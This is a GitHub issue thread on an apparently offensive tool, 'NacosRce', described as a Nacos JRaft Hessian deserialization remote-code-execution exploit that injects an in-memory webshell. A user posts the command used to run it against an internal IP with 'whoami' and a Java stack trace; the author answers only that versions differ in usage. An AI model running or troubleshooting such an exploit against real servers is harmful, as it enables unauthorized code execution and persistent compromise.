c0olw / NacosRce

Nacos JRaft Hessian 反序列化 RCE 加载字节码 注入内存马 不出网利用
736 stars 85 forks source link

报错了 #4

Closed kmustriver closed 1 year ago

kmustriver commented 1 year ago

java -jar NacosRce.jar http://192.168.10.81:8888/nacos 7888 "whoami"

09:09:41.306 [main] ERROR com.alipay.sofa.jraft.entity.PeerId - Parse peer from string failed: http://192.168.10.81:8888/nacos. java.lang.NumberFormatException: For input string: "//192.168.10.81" at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:569) at java.lang.Integer.parseInt(Integer.java:615) at com.alipay.sofa.jraft.entity.PeerId.parse(PeerId.java:204) at com.alipay.sofa.jraft.conf.Configuration.parse(Configuration.java:300) at com.nacostools.rce.NacosRce.sendPayload(NacosRce.java:120) at com.nacostools.rce.NacosRce.main(NacosRce.java:87) 09:09:41.309 [main] ERROR com.alipay.sofa.jraft.conf.Configuration - Fail to parse peer http://192.168.10.81:8888/nacos in http://192.168.10.81:8888/nacos, ignore it. 09:09:41.428 [main] INFO com.alipay.sofa.jraft.util.JRaftServiceLoader - SPI service [com.alipay.sofa.jraft.rpc.RaftRpcFactory - com.alipay.sofa.jraft.rpc.impl.GrpcRaftRpcFactory] loading. 09:09:41.567 [main] ERROR com.alipay.sofa.jraft.entity.PeerId - Parse peer from string failed: http://192.168.10.81:8888/nacos. java.lang.NumberFormatException: For input string: "//192.168.10.81" at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:569) at java.lang.Integer.parseInt(Integer.java:615) at com.alipay.sofa.jraft.entity.PeerId.parse(PeerId.java:204) at com.alipay.sofa.jraft.entity.PeerId.parsePeer(PeerId.java:93) at com.nacostools.rce.NacosRce.sendPayload(NacosRce.java:125) at com.nacostools.rce.NacosRce.main(NacosRce.java:87) java.lang.NullPointerException

c0olw commented 1 year ago

0.4 和0.5用法不同,注意看版本